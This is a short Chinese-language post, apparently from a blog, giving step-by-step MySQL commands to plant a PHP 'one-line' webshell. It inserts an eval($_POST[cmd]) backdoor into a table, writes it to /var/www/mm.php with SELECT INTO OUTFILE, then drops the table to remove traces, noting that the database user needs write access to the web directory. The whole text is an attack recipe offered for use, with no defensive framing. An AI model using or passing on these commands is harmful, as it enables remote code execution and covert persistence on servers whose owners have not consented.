通過mysql寫入一句話***

作者 趙小布

 

use mysql;

create table a (cmd text NOT NULL);

insert into a (cmd) values(‘<?php eval($_POST[cmd];?>’);

select cmd from a into outfile ‘/var/www/mm.php’;

drop table if exists a;

 

注：mysql用戶需對網站目錄有寫權限